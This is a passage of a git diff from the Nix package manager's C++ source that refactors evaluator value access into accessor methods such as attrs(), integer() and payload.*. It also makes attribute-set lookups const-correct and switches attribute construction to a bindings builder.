+-- src/libexpr/get-drvs.cc | 68 +++-- src/libexpr/get-drvs.hh | 6 +- src/libexpr/nixexpr.cc | 4 +- src/libexpr/primops.cc | 125 ++++---- src/libexpr/primops/context.cc | 24 +- src/libexpr/primops/fetchClosure.cc | 2 +- src/libexpr/primops/fetchMercurial.cc | 2 +- src/libexpr/primops/fetchTree.cc | 10 +- src/libexpr/print-ambiguous.cc | 12 +- src/libexpr/print.cc | 27 +- src/libexpr/value-to-json.cc | 28 +- src/libexpr/value-to-xml.cc | 47 ++- src/libexpr/value.hh | 129 ++++----- src/nix-build/nix-build.cc | 4 +- src/nix-env/nix-env.cc | 14 +- src/nix-env/user-env.cc | 4 +- src/nix/bundle.cc | 6 +- src/nix/eval.cc | 2 +- src/nix/flake.cc | 54 ++-- src/nix/main.cc | 7 +- src/nix/prefetch.cc | 10 +- tests/unit/libexpr-support/tests/libexpr.hh | 12 +- tests/unit/libexpr/primops.cc | 42 +-- tests/unit/libexpr/trivial.cc | 12 +- 35 files changed, 530 insertions(+), 556 deletions(-) diff --git a/src/libcmd/installable-flake.cc b/src/libcmd/installable-flake.cc index ddec7537b..6ff837ddc 100644 --- a/src/libcmd/installable-flake.cc +++ b/src/libcmd/installable-flake.cc @@ -49,7 +49,7 @@ Value * InstallableFlake::getFlakeOutputs(EvalState & state, const flake::Locked callFlake(state, lockedFlake, *vFlake); - auto aOutputs = vFlake->attrs->get(state.symbols.create("outputs")); + auto aOutputs = vFlake->attrs()->get(state.symbols.create("outputs")); assert(aOutputs); state.forceValue(*aOutputs->value, aOutputs->value->determinePos(noPos)); diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 6db9bf9a1..ed6772377 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -289,7 +289,7 @@ void SourceExprCommand::completeInstallable(AddCompletions & completions, std::s state->autoCallFunction(*autoArgs, v1, v2); if (v2.type() == nAttrs) { - for (auto & i : *v2.attrs) { + for (auto & i : *v2.attrs()) { std::string name = state->symbols[i.name]; if (name.find(searchWord) == 0) { if (prefix_ == "") @@ -461,7 +461,7 @@ ref openEvalCache( state.forceAttrs(*vFlake, noPos, "while parsing cached flake data"); - auto aOutputs = vFlake->attrs->get(state.symbols.create("outputs")); + auto aOutputs = vFlake->attrs()->get(state.symbols.create("outputs")); assert(aOutputs); return aOutputs->value; diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 7cecc60b7..a97d8aaf4 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -290,7 +290,7 @@ StringSet NixRepl::completePrefix(const std::string & prefix) e->eval(*state, *env, v); state->forceAttrs(v, noPos, "while evaluating an attrset for the purpose of completion (this error should not be displayed; file an issue?)"); - for (auto & i : *v.attrs) { + for (auto & i : *v.attrs()) { std::string_view name = state->symbols[i.name]; if (name.substr(0, cur2.size()) != cur2) continue; completions.insert(concatStrings(prev, expr, ".", name)); @@ -490,7 +490,7 @@ ProcessLineResult NixRepl::processLine(std::string line) auto path = state->coerceToPath(noPos, v, context, "while evaluating the filename to edit"); return {path, 0}; } else if (v.isLambda()) { - auto pos = state->positions[v.lambda.fun->pos]; + auto pos = state->positions[v.payload.lambda.fun->pos]; if (auto path = std::get_if(&pos.origin)) return {*path, pos.line}; else @@ -742,17 +742,17 @@ void NixRepl::loadFiles() void NixRepl::addAttrsToScope(Value & attrs) { state->forceAttrs(attrs, [&]() { return attrs.determinePos(noPos); }, "while evaluating an attribute set to be merged in the global scope"); - if (displ + attrs.attrs->size() >= envSize) + if (displ + attrs.attrs()->size() >= envSize) throw Error("environment full; cannot add more variables"); - for (auto & i : *attrs.attrs) { + for (auto & i : *attrs.attrs()) { staticEnv->vars.emplace_back(i.name, displ); env->values[displ++] = i.value; varNames.emplace(state->symbols[i.name]); } staticEnv->sort(); staticEnv->deduplicate(); - notice("Added %1% variables.", attrs.attrs->size()); + notice("Added %1% variables.", attrs.attrs()->size()); } diff --git a/src/libexpr/attr-path.cc b/src/libexpr/attr-path.cc index d6befd362..9ad201b63 100644 --- a/src/libexpr/attr-path.cc +++ b/src/libexpr/attr-path.cc @@ -72,10 +72,10 @@ std::pair findAlongAttrPath(EvalState & state, const std::strin if (attr.empty()) throw Error("empty attribute name in selection path '%1%'", attrPath); - Bindings::iterator a = v->attrs->find(state.symbols.create(attr)); - if (a == v->attrs->end()) { + auto a = v->attrs()->get(state.symbols.create(attr)); + if (!a) { std::set attrNames; - for (auto & attr : *v->attrs) + for (auto & attr : *v->attrs()) attrNames.insert(state.symbols[attr.name]); auto suggestions = Suggestions::bestMatches(attrNames, attr); diff --git a/src/libexpr/attr-set.cc b/src/libexpr/attr-set.cc index 877116f1f..866ef817a 100644 --- a/src/libexpr/attr-set.cc +++ b/src/libexpr/attr-set.cc @@ -23,23 +23,6 @@ Bindings * EvalState::allocBindings(size_t capacity) } -/* Create a new attribute named 'name' on an existing attribute set stored - in 'vAttrs' and return the newly allocated Value which is associated with - this attribute. */ -Value * EvalState::allocAttr(Value & vAttrs, Symbol name) -{ - Value * v = allocValue(); - vAttrs.attrs->push_back(Attr(name, v)); - return v; -} - - -Value * EvalState::allocAttr(Value & vAttrs, std::string_view name) -{ - return allocAttr(vAttrs, symbols.create(name)); -} - - Value & BindingsBuilder::alloc(Symbol name, PosIdx pos) { auto value = state.allocValue(); diff --git a/src/libexpr/attr-set.hh b/src/libexpr/attr-set.hh index 31215f880..c90bb0633 100644 --- a/src/libexpr/attr-set.hh +++ b/src/libexpr/attr-set.hh @@ -65,24 +65,26 @@ public: typedef Attr * iterator; + typedef const Attr * const_iterator; + void push_back(const Attr & attr) { assert(size_ < capacity_); attrs[size_++] = attr; } - iterator find(Symbol name) + const_iterator find(Symbol name) const { Attr key(name, 0); - iterator i = std::lower_bound(begin(), end(), key); + const_iterator i = std::lower_bound(begin(), end(), key); if (i != end() && i->name == name) return i; return end(); } - Attr * get(Symbol name) + const Attr * get(Symbol name) const { Attr key(name, 0); - iterator i = std::lower_bound(begin(), end(), key); + const_iterator i = std::lower_bound(begin(), end(), key); if (i != end() && i->name == name) return &*i; return nullptr; } @@ -90,14 +92,22 @@ public: iterator begin() { return &attrs[0]; } iterator end() { return &attrs[size_]; } + const_iterator begin() const { return &attrs[0]; } + const_iterator end() const { return &attrs[size_]; } + Attr & operator[](size_t pos) { return attrs[pos]; } + const Attr & operator[](size_t pos) const + { + return attrs[pos]; + } + void sort(); - size_t capacity() { return capacity_; } + size_t capacity() const { return capacity_; } /** * Returns the attributes in lexicographically sorted order. @@ -166,6 +176,20 @@ public: { return bindings; } + + size_t capacity() + { + return bindings->capacity(); + } + + void grow(Bindings * newBindings) + { + for (auto & i : *bindings) + newBindings->push_back(i); + bindings = newBindings; + } + + friend class ExprAttrs; }; } diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc index 1538eb056..d60967a14 100644 --- a/src/libexpr/eval-cache.cc +++ b/src/libexpr/eval-cache.cc @@ -387,7 +387,7 @@ Value & AttrCursor::getValue() if (parent) { auto & vParent = parent->first->getValue(); root->state.forceAttrs(vParent, noPos, "while searching for an attribute"); - auto attr = vParent.attrs->get(parent->second); + auto attr = vParent.attrs()->get(parent->second); if (!attr) throw Error("attribute '%s' is unexpectedly missing", getAttrPathStr()); _value = allocRootValue(attr->value); @@ -448,9 +448,9 @@ Value & AttrCursor::forceValue() cachedValue = {root->db->setString(getKey(), path.abs()), string_t{path.abs(), {}}}; } else if (v.type() == nBool) - cachedValue = {root->db->setBool(getKey(), v.boolean), v.boolean}; + cachedValue = {root->db->setBool(getKey(), v.boolean()), v.boolean()}; else if (v.type() == nInt) - cachedValue = {root->db->setInt(getKey(), v.integer), int_t{v.integer}}; + cachedValue = {root->db->setInt(getKey(), v.integer()), int_t{v.integer()}}; else if (v.type() == nAttrs) ; // FIXME: do something? else @@ -510,7 +510,7 @@ std::shared_ptr AttrCursor::maybeGetAttr(Symbol name, bool forceErro return nullptr; //error("'%s' is not an attribute set", getAttrPathStr()).debugThrow(); - auto attr = v.attrs->get(name); + auto attr = v.attrs()->get(name); if (!attr) { if (root->db) { @@ -652,7 +652,7 @@ bool AttrCursor::getBool() if (v.type() != nBool) root->state.error("'%s' is not a Boolean", getAttrPathStr()).debugThrow(); - return v.boolean; + return v.boolean(); } NixInt AttrCursor::getInt() @@ -674,7 +674,7 @@ NixInt AttrCursor::getInt() if (v.type() != nInt) root->state.error("'%s' is not an integer", getAttrPathStr()).debugThrow(); - return v.integer; + return v.integer(); } std::vector AttrCursor::getListOfStrings() @@ -730,7 +730,7 @@ std::vector AttrCursor::getAttrs() root->state.error("'%s' is not an attribute set", getAttrPathStr()).debugThrow(); std::vector attrs; - for (auto & attr : *getValue().attrs) + for (auto & attr : *getValue().attrs()) attrs.push_back(attr.name); std::sort(attrs.begin(), attrs.end(), [&](Symbol a, Symbol b) { std::string_view sa = root->state.symbols[a], sb = root->state.symbols[b]; diff --git a/src/libexpr/eval-inline.hh b/src/libexpr/eval-inline.hh index 03320c7c9..6fa34b062 100644 --- a/src/libexpr/eval-inline.hh +++ b/src/libexpr/eval-inline.hh @@ -85,8 +85,8 @@ Env & EvalState::allocEnv(size_t size) void EvalState::forceValue(Value & v, const PosIdx pos) { if (v.isThunk()) { - Env * env = v.thunk.env; - Expr * expr = v.thunk.expr; + Env * env = v.payload.thunk.env; + Expr * expr = v.payload.thunk.expr; try { v.mkBlackhole(); //checkInterrupt(); @@ -98,7 +98,7 @@ void EvalState::forceValue(Value & v, const PosIdx pos) } } else if (v.isApp()) - callFunction(*v.app.left, *v.app.right, v, pos); + callFunction(*v.payload.app.left, *v.payload.app.right, v, pos); } diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 5e2f71649..7147e7997 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -131,7 +131,7 @@ void Value::print(EvalState & state, std::ostream & str, PrintOptions options) const Value * getPrimOp(const Value &v) { const Value * primOp = &v; while (primOp->isPrimOpApp()) { - primOp = primOp->primOpApp.left; + primOp = primOp->payload.primOpApp.left; } assert(primOp->isPrimOp()); return primOp; @@ -163,12 +163,12 @@ std::string showType(const Value & v) #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wswitch-enum" switch (v.internalType) { - case tString: return v.string.context ? "a string with context" : "a string"; + case tString: return v.payload.string.context ? "a string with context" : "a string"; case tPrimOp: - return fmt("the built-in function '%s'", std::string(v.primOp->name)); + return fmt("the built-in function '%s'", std::string(v.payload.primOp->name)); case tPrimOpApp: - return fmt("the partially applied built-in function '%s'", std::string(getPrimOp(v)->primOp->name)); - case tExternal: return v.external->showType(); + return fmt("the partially applied built-in function '%s'", std::string(getPrimOp(v)->payload.primOp->name)); + case tExternal: return v.external()->showType(); case tThunk: return v.isBlackhole() ? "a black hole" : "a thunk"; case tApp: return "a function application"; default: @@ -183,9 +183,9 @@ PosIdx Value::determinePos(const PosIdx pos) const #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wswitch-enum" switch (internalType) { - case tAttrs: return attrs->pos; - case tLambda: return lambda.fun->pos; - case tApp: return app.left->determinePos(pos); + case tAttrs: return attrs()->pos; + case tLambda: return payload.lambda.fun->pos; + case tApp: return payload.app.left->determinePos(pos); default: return pos; } #pragma GCC diagnostic pop @@ -197,10 +197,10 @@ bool Value::isTrivial() const internalType != tApp && internalType != tPrimOpApp && (internalType != tThunk - || (dynamic_cast(thunk.expr) - && ((ExprAttrs *) thunk.expr)->dynamicAttrs.empty()) - || dynamic_cast(thunk.expr) - || dynamic_cast(thunk.expr)); + || (dynamic_cast(payload.thunk.expr) + && ((ExprAttrs *) payload.thunk.expr)->dynamicAttrs.empty()) + || dynamic_cast(payload.thunk.expr) + || dynamic_cast(payload.thunk.expr)); } @@ -584,7 +584,7 @@ void EvalState::addConstant(const std::string & name, Value * v, Constant info) /* Install value the base environment. */ staticBaseEnv->vars.emplace_back(symbols.create(name), baseEnvDispl); baseEnv.values[baseEnvDispl++] = v; - baseEnv.values[0]->attrs->push_back(Attr(symbols.create(name2), v)); + baseEnv.values[0]->payload.attrs->push_back(Attr(symbols.create(name2), v)); } } @@ -597,32 +597,30 @@ void PrimOp::check() } -std::ostream & operator<<(std::ostream & output, PrimOp & primOp) +std::ostream & operator<<(std::ostream & output, const PrimOp & primOp) { output << "primop " << primOp.name; return output; } -PrimOp * Value::primOpAppPrimOp() const +const PrimOp * Value::primOpAppPrimOp() const { - Value * left = primOpApp.left; + Value * left = payload.primOpApp.left; while (left && !left->isPrimOp()) { - left = left->primOpApp.left; + left = left->payload.primOpApp.left; } if (!left) return nullptr; - return left->primOp; + return left->primOp(); } void Value::mkPrimOp(PrimOp * p) { p->check(); - clearValue(); - internalType = tPrimOp; - primOp = p; + finishValue(tPrimOp, { .primOp = p }); } @@ -650,14 +648,14 @@ Value * EvalState::addPrimOp(PrimOp && primOp) v->mkPrimOp(new PrimOp(primOp)); staticBaseEnv->vars.emplace_back(envName, baseEnvDispl); baseEnv.values[baseEnvDispl++] = v; - baseEnv.values[0]->attrs->push_back(Attr(symbols.create(primOp.name), v)); + baseEnv.values[0]->payload.attrs->push_back(Attr(symbols.create(primOp.name), v)); return v; } Value & EvalState::getBuiltin(const std::string & name) { - return *baseEnv.values[0]->attrs->find(symbols.create(name))->value; + return *baseEnv.values[0]->attrs()->find(symbols.create(name))->value; } @@ -665,12 +663,12 @@ std::optional EvalState::getDoc(Value & v) { if (v.isPrimOp()) { auto v2 = &v; - if (auto * doc = v2->primOp->doc) + if (auto * doc = v2->primOp()->doc) return Doc { .pos = {}, - .name = v2->primOp->name, - .arity = v2->primOp->arity, - .args = v2->primOp->args, + .name = v2->primOp()->name, + .arity = v2->primOp()->arity, + .args = v2->primOp()->args, .doc = doc, }; } @@ -694,8 +692,8 @@ void printWithBindings(const SymbolTable & st, const Env & env) if (!env.values[0]->isThunk()) { std::cout << "with: "; std::cout << ANSI_MAGENTA; - Bindings::iterator j = env.values[0]->attrs->begin(); - while (j != env.values[0]->attrs->end()) { + auto j = env.values[0]->attrs()->begin(); + while (j != env.values[0]->attrs()->end()) { std::cout << st[j->name] << " "; ++j; } @@ -749,11 +747,8 @@ void mapStaticEnvBindings(const SymbolTable & st, const StaticEnv & se, const En if (se.isWith && !env.values[0]->isThunk()) { // add 'with' bindings. - Bindings::iterator j = env.values[0]->attrs->begin(); - while (j != env.values[0]->attrs->end()) { - vm[st[j->name]] = j->value; - ++j; - } + for (auto & j : *env.values[0]->attrs()) + vm[st[j.name]] = j.value; } else { // iterate through staticenv bindings and add them. for (auto & i : se.vars) @@ -873,28 +868,28 @@ void Value::mkString(std::string_view s) } -static void copyContextToValue(Value & v, const NixStringContext & context) +static const char * * encodeContext(const NixStringContext & context) { if (!context.empty()) { size_t n = 0; - v.string.context = (const char * *) + auto ctx = (const char * *) allocBytes((context.size() + 1) * sizeof(char *)); for (auto & i : context) - v.string.context[n++] = dupString(i.to_string().c_str()); - v.string.context[n] = 0; - } + ctx[n++] = dupString(i.to_string().c_str()); + ctx[n] = 0; + return ctx; + } else + return nullptr; } void Value::mkString(std::string_view s, const NixStringContext & context) { - mkString(s); - copyContextToValue(*this, context); + mkString(makeImmutableString(s), encodeContext(context)); } void Value::mkStringMove(const char * s, const NixStringContext & context) { - mkString(s); - copyContextToValue(*this, context); + mkString(s, encodeContext(context)); } @@ -918,8 +913,7 @@ inline Value * EvalState::lookupVar(Env * env, const ExprVar & var, bool noEval) auto * fromWith = var.fromWith; while (1) { forceAttrs(*env->values[0], fromWith->pos, "while evaluating the first subexpression of a with expression"); - Bindings::iterator j = env->values[0]->attrs->find(var.name); - if (j != env->values[0]->attrs->end()) { + if (auto j = env->values[0]->attrs()->get(var.name)) { if (countCalls) attrSelects[j->pos]++; return j->value; } @@ -1167,7 +1161,7 @@ inline bool EvalState::evalBool(Env & env, Expr * e, const PosIdx pos, std::stri showType(v), ValuePrinter(*this, v, errorPrintOptions) ).atPos(pos).withFrame(env, *e).debugThrow(); - return v.boolean; + return v.boolean(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); throw; @@ -1235,8 +1229,9 @@ Env * ExprAttrs::buildInheritFromEnv(EvalState & state, Env & up) void ExprAttrs::eval(EvalState & state, Env & env, Value & v) { - v.mkAttrs(state.buildBindings(attrs.size() + dynamicAttrs.size()).finish()); + auto bindings = state.buildBindings(attrs.size() + dynamicAttrs.size()); auto dynamicEnv = &env; + bool sort = false; if (recursive) { /* Create a new environment that contains the attributes in @@ -1261,7 +1256,7 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) } else vAttr = i.second.e->maybeThunk(state, *i.second.chooseByKind(&env2, &env, inheritEnv)); env2.values[displ++] = vAttr; - v.attrs->push_back(Attr(i.first, vAttr, i.second.pos)); + bindings.insert(i.first, vAttr, i.second.pos); } /* If the rec contains an attribute called `__overrides', then @@ -1273,32 +1268,28 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) been substituted into the bodies of the other attributes. Hence we need __overrides.) */ if (hasOverrides) { - Value * vOverrides = (*v.attrs)[overrides->second.displ].value; + Value * vOverrides = (*bindings.bindings)[overrides->second.displ].value; state.forceAttrs(*vOverrides, [&]() { return vOverrides->determinePos(noPos); }, "while evaluating the `__overrides` attribute"); - Bindings * newBnds = state.allocBindings(v.attrs->capacity() + vOverrides->attrs->size()); - for (auto & i : *v.attrs) - newBnds->push_back(i); - for (auto & i : *vOverrides->attrs) { + bindings.grow(state.allocBindings(bindings.capacity() + vOverrides->attrs()->size())); + for (auto & i : *vOverrides->attrs()) { AttrDefs::iterator j = attrs.find(i.name); if (j != attrs.end()) { - (*newBnds)[j->second.displ] = i; + (*bindings.bindings)[j->second.displ] = i; env2.values[j->second.displ] = i.value; } else - newBnds->push_back(i); + bindings.push_back(i); } - newBnds->sort(); - v.attrs = newBnds; + sort = true; } } else { Env * inheritEnv = inheritFromExprs ? buildInheritFromEnv(state, env) : nullptr; - for (auto & i : attrs) { - v.attrs->push_back(Attr( - i.first, - i.second.e->maybeThunk(state, *i.second.chooseByKind(&env, &env, inheritEnv)), - i.second.pos)); - } + for (auto & i : attrs) + bindings.insert( + i.first, + i.second.e->maybeThunk(state, *i.second.chooseByKind(&env, &env, inheritEnv)), + i.second.pos); } /* Dynamic attrs apply *after* rec and __overrides. */ @@ -1310,17 +1301,21 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) continue; state.forceStringNoCtx(nameVal, i.pos, "while evaluating the name of a dynamic attribute"); auto nameSym = state.symbols.create(nameVal.string_view()); - Bindings::iterator j = v.attrs->find(nameSym); - if (j != v.attrs->end()) + if (sort) + // FIXME: inefficient + bindings.bindings->sort(); + if (auto j = bindings.bindings->get(nameSym)) state.error("dynamic attribute '%1%' already defined at %2%", state.symbols[nameSym], state.positions[j->pos]).atPos(i.pos).withFrame(env, *this).debugThrow(); i.valueExpr->setName(nameSym); /* Keep sorted order so find can catch duplicates */ - v.attrs->push_back(Attr(nameSym, i.valueExpr->maybeThunk(state, *dynamicEnv), i.pos)); - v.attrs->sort(); // FIXME: inefficient + bindings.insert(nameSym, i.valueExpr->maybeThunk(state, *dynamicEnv), i.pos); + sort = true; } - v.attrs->pos = pos; + bindings.bindings->pos = pos; + + v.mkAttrs(sort ? bindings.finish() : bindings.alreadySorted()); } @@ -1426,21 +1421,21 @@ void ExprSelect::eval(EvalState & state, Env & env, Value & v) for (auto & i : attrPath) { state.nrLookups++; - Bindings::iterator j; + const Attr * j; auto name = getName(i, state, env); if (def) { state.forceValue(*vAttrs, pos); if (vAttrs->type() != nAttrs || - (j = vAttrs->attrs->find(name)) == vAttrs->attrs->end()) + !(j = vAttrs->attrs()->get(name))) { def->eval(state, env, v); return; } } else { state.forceAttrs(*vAttrs, pos, "while selecting an attribute"); - if ((j = vAttrs->attrs->find(name)) == vAttrs->attrs->end()) { + if (!(j = vAttrs->attrs()->get(name))) { std::set allAttrNames; - for (auto & attr : *vAttrs->attrs) + for (auto & attr : *vAttrs->attrs()) allAttrNames.insert(state.symbols[attr.name]); auto suggestions = Suggestions::bestMatches(allAttrNames, state.symbols[name]); state.error("attribute '%1%' missing", state.symbols[name]) @@ -1478,15 +1473,15 @@ void ExprOpHasAttr::eval(EvalState & state, Env & env, Value & v) for (auto & i : attrPath) { state.forceValue(*vAttrs, getPos()); - Bindings::iterator j; + const Attr * j; auto name = getName(i, state, env); - if (vAttrs->type() != nAttrs || - (j = vAttrs->attrs->find(name)) == vAttrs->attrs->end()) + if (vAttrs->type() == nAttrs && + (j = vAttrs->attrs()->get(name))) { + vAttrs = j->value; + } else { v.mkBool(false); return; - } else { - vAttrs = j->value; } } @@ -1538,19 +1533,19 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & } }; - Attr * functor; + const Attr * functor; while (nrArgs > 0) { if (vCur.isLambda()) { - ExprLambda & lambda(*vCur.lambda.fun); + ExprLambda & lambda(*vCur.payload.lambda.fun); auto size = (!lambda.arg ? 0 : 1) + (lambda.hasFormals() ? lambda.formals->formals.size() : 0); Env & env2(allocEnv(size)); - env2.up = vCur.lambda.env; + env2.up = vCur.payload.lambda.env; Displacement displ = 0; @@ -1572,7 +1567,7 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & argument has a default, use the default. */ size_t attrsUsed = 0; for (auto & i : lambda.formals->formals) { - auto j = args[0]->attrs->get(i.name); + auto j = args[0]->attrs()->get(i.name); if (!j) { if (!i.def) { error("function '%1%' called without required argument '%2%'", @@ -1580,7 +1575,7 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & symbols[i.name]) .atPos(lambda.pos) .withTrace(pos, "from call site") - .withFrame(*fun.lambda.env, lambda) + .withFrame(*fun.payload.lambda.env, lambda) .debugThrow(); } env2.values[displ++] = i.def->maybeThunk(*this, env2); @@ -1592,10 +1587,10 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & /* Check that each actual argument is listed as a formal argument (unless the attribute match specifies a `...'). */ - if (!lambda.formals->ellipsis && attrsUsed != args[0]->attrs->size()) { + if (!lambda.formals->ellipsis && attrsUsed != args[0]->attrs()->size()) { /* Nope, so show the first unexpected argument to the user. */ - for (auto & i : *args[0]->attrs) + for (auto & i : *args[0]->attrs()) if (!lambda.formals->has(i.name)) { std::set formalNames; for (auto & formal : lambda.formals->formals) @@ -1607,7 +1602,7 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & .atPos(lambda.pos) .withTrace(pos, "from call site") .withSuggestions(suggestions) - .withFrame(*fun.lambda.env, lambda) + .withFrame(*fun.payload.lambda.env, lambda) .debugThrow(); } abort(); // can't happen @@ -1649,7 +1644,7 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & else if (vCur.isPrimOp()) { - size_t argsLeft = vCur.primOp->arity; + size_t argsLeft = vCur.primOp()->arity; if (nrArgs < argsLeft) { /* We don't have enough arguments, so create a tPrimOpApp chain. */ @@ -1657,7 +1652,7 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & return; } else { /* We have all the arguments, so call the primop. */ - auto * fn = vCur.primOp; + auto * fn = vCur.primOp(); nrPrimOpCalls++; if (countCalls) primOpCalls[fn->name]++; @@ -1680,10 +1675,10 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & Value * primOp = &vCur; while (primOp->isPrimOpApp()) { argsDone++; - primOp = primOp->primOpApp.left; + primOp = primOp->payload.primOpApp.left; } assert(primOp->isPrimOp()); - auto arity = primOp->primOp->arity; + auto arity = primOp->primOp()->arity; auto argsLeft = arity - argsDone; if (nrArgs < argsLeft) { @@ -1696,13 +1691,13 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & Value * vArgs[maxPrimOpArity]; auto n = argsDone; - for (Value * arg = &vCur; arg->isPrimOpApp(); arg = arg->primOpApp.left) - vArgs[--n] = arg->primOpApp.right; + for (Value * arg = &vCur; arg->isPrimOpApp(); arg = arg->payload.primOpApp.left) + vArgs[--n] = arg->payload.primOpApp.right; for (size_t i = 0; i < argsLeft; ++i) vArgs[argsDone + i] = args[i]; - auto fn = primOp->primOp; + auto fn = primOp->primOp(); nrPrimOpCalls++; if (countCalls) primOpCalls[fn->name]++; @@ -1722,7 +1717,7 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & } } - else if (vCur.type() == nAttrs && (functor = vCur.attrs->get(sFunctor))) { + else if (vCur.type() == nAttrs && (functor = vCur.attrs()->get(sFunctor))) { /* 'vCur' may be allocated on the stack of the calling function, but for functors we may keep a reference, so heap-allocate a copy and use that instead. */ @@ -1797,8 +1792,8 @@ void EvalState::autoCallFunction(Bindings & args, Value & fun, Value & res) forceValue(fun, pos); if (fun.type() == nAttrs) { - auto found = fun.attrs->find(sFunctor); - if (found != fun.attrs->end()) { + auto found = fun.attrs()->find(sFunctor); + if (found != fun.attrs()->end()) { Value * v = allocValue(); callFunction(*found->value, fun, *v, pos); forceValue(*v, pos); @@ -1806,14 +1801,14 @@ void EvalState::autoCallFunction(Bindings & args, Value & fun, Value & res) } } - if (!fun.isLambda() || !fun.lambda.fun->hasFormals()) { + if (!fun.isLambda() || !fun.payload.lambda.fun->hasFormals()) { res = fun; return; } - auto attrs = buildBindings(std::max(static_cast(fun.lambda.fun->formals->formals.size()), args.size())); + auto attrs = buildBindings(std::max(static_cast(fun.payload.lambda.fun->formals->formals.size()), args.size())); - if (fun.lambda.fun->formals->ellipsis) { + if (fun.payload.lambda.fun->formals->ellipsis) { // If the formals have an ellipsis (eg the function accepts extra args) pass // all available automatic arguments (which includes arguments specified on // the command line via --arg/--argstr) @@ -1821,9 +1816,9 @@ void EvalState::autoCallFunction(Bindings & args, Value & fun, Value & res) attrs.insert(v); } else { // Otherwise, only pass the arguments that the function accepts - for (auto & i : fun.lambda.fun->formals->formals) { - Bindings::iterator j = args.find(i.name); - if (j != args.end()) { + for (auto & i : fun.payload.lambda.fun->formals->formals) { + auto j = args.get(i.name); + if (j) { attrs.insert(*j); } else if (!i.def) { error(R"(cannot evaluate a function that has an argument without a value ('%1%') @@ -1831,7 +1826,7 @@ Nix attempted to evaluate a function as a top level expression; in this case it must have its arguments supplied either by default values, or passed explicitly with '--arg' or '--argstr'. See https://nixos.org/manual/nix/stable/language/constructs.html#functions.)", symbols[i.name]) - .atPos(i.pos).withFrame(*fun.lambda.env, *fun.lambda.fun).debugThrow(); + .atPos(i.pos).withFrame(*fun.payload.lambda.env, *fun.payload.lambda.fun).debugThrow(); } } } @@ -1916,17 +1911,17 @@ void ExprOpUpdate::eval(EvalState & state, Env & env, Value & v) state.nrOpUpdates++; - if (v1.attrs->size() == 0) { v = v2; return; } - if (v2.attrs->size() == 0) { v = v1; return; } + if (v1.attrs()->size() == 0) { v = v2; return; } + if (v2.attrs()->size() == 0) { v = v1; return; } - auto attrs = state.buildBindings(v1.attrs->size() + v2.attrs->size()); + auto attrs = state.buildBindings(v1.attrs()->size() + v2.attrs()->size()); /* Merge the sets, preferring values from the second set. Make sure to keep the resulting vector in sorted order. */ - Bindings::iterator i = v1.attrs->begin(); - Bindings::iterator j = v2.attrs->begin(); + auto i = v1.attrs()->begin(); + auto j = v2.attrs()->begin(); - while (i != v1.attrs->end() && j != v2.attrs->end()) { + while (i != v1.attrs()->end() && j != v2.attrs()->end()) { if (i->name == j->name) { attrs.insert(*j); ++i; ++j; @@ -1937,12 +1932,12 @@ void ExprOpUpdate::eval(EvalState & state, Env & env, Value & v) attrs.insert(*j++); } - while (i != v1.attrs->end()) attrs.insert(*i++); - while (j != v2.attrs->end()) attrs.insert(*j++); + while (i != v1.attrs()->end()) attrs.insert(*i++); + while (j != v2.attrs()->end()) attrs.insert(*j++); v.mkAttrs(attrs.alreadySorted()); - state.nrOpUpdateValuesCopied += v.attrs->size(); + state.nrOpUpdateValuesCopied += v.attrs()->size(); } @@ -2034,19 +2029,19 @@ void ExprConcatStrings::eval(EvalState & state, Env & env, Value & v) if (firstType == nInt) { if (vTmp.type() == nInt) { - n += vTmp.integer; + n += vTmp.integer(); } else if (vTmp.type() == nFloat) { // Upgrade the type from int to float; firstType = nFloat; nf = n; - nf += vTmp.fpoint; + nf += vTmp.fpoint(); } else state.error("cannot add %1% to an integer", showType(vTmp)).atPos(i_pos).withFrame(env, *this).debugThrow(); } else if (firstType == nFloat) { if (vTmp.type() == nInt) { - nf += vTmp.integer; + nf += vTmp.integer(); } else if (vTmp.type() == nFloat) { - nf += vTmp.fpoint; + nf += vTmp.fpoint(); } else state.error("cannot add %1% to a float", showType(vTmp)).atPos(i_pos).withFrame(env, *this).debugThrow(); } else { @@ -2119,11 +2114,11 @@ void EvalState::forceValueDeep(Value & v) forceValue(v, v.determinePos(noPos)); if (v.type() == nAttrs) { - for (auto & i : *v.attrs) + for (auto & i : *v.attrs()) try { // If the value is a thunk, we're evaling. Otherwise no trace necessary. auto dts = debugRepl && i.value->isThunk() - ? makeDebugTraceStacker(*this, *i.value->thunk.expr, *i.value->thunk.env, positions[i.pos], + ? makeDebugTraceStacker(*this, *i.value->payload.thunk.expr, *i.value->payload.thunk.env, positions[i.pos], "while evaluating the attribute '%1%'", symbols[i.name]) : nullptr; @@ -2154,13 +2149,13 @@ NixInt EvalState::forceInt(Value & v, const PosIdx pos, std::string_view errorCt showType(v), ValuePrinter(*this, v, errorPrintOptions) ).atPos(pos).debugThrow(); - return v.integer; + return v.integer(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); throw; } - return v.integer; + return v.integer(); } @@ -2169,14 +2164,14 @@ NixFloat EvalState::forceFloat(Value & v, const PosIdx pos, 